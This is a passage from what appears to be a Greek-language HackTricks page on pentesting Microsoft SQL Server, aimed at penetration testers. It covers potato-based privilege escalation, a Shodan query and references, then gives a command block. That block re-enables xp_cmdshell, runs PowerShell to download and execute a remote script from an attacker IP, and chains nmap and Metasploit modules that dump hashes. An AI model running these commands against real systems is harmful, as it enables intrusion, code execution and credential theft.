Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση: [Αποκρυπτογράφηση των Κωδικών Πρόσβασης των Διακομιστών Σύνδεσης Βάσεων Δεδομένων MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||
|
||
[Αντιμετώπιση προβλημάτων με την Αφιερωμένη Διαχειριστική Σύνδεση του SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||
|
||
## Τοπική Ανόδος Δικαιωμάτων
|
||
|
||
Ο χρήστης που εκτελεί τον διακομιστή MSSQL θα έχει ενεργοποιημένο το δικαίωμα διακριτικού **SeImpersonatePrivilege.**\
|
||
Πιθανόν να μπορείτε να **αναβαθμίσετε σε Διαχειριστή** ακολουθώντας ένα από αυτά τα 2 σενάρια:
|
||
|
||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
|
||
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Shodan
|
||
|
||
* `port:1433 !HTTP`
|
||
|
||
## Αναφορές
|
||
|
||
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||
|
||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## Αυτόματες Εντολές HackTricks
|
||
```
|
||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||
Port_Number: 1433 #Comma separated if there is more than one.
|
||
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MSSQL
|
||
Note: |
|
||
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
|
||
|
||
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
|
||
|
||
###the goal is to get xp_cmdshell working###
|
||
1. try and see if it works
|
||
xp_cmdshell `whoami`
|
||
go
|
||
|
||
2. try to turn component back on
|
||
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
|
||
reconfigure
|
||
go
|
||
xp_cmdshell `whoami`
|
||
go
|
||
|
||
3. 'advanced' turn it back on
|
||
EXEC SP_CONFIGURE 'show advanced options', 1
|
||
reconfigure
|
||
go
|
||
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
|
||
reconfigure
|
||
go
|
||
xp_cmdshell 'whoami'
|
||
go
|
||
|
||
|
||
|
||
|
||
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
|
||
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
|
||
|
||
Entry_2:
|
||
Name: Nmap for SQL
|
||
Description: Nmap with SQL Scripts
|
||
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
|
||
|
||
Entry_3:
|
||
Name: MSSQL consolesless mfs enumeration
|
||
Description: MSSQL enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
|
||
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||
|
||
</details>
|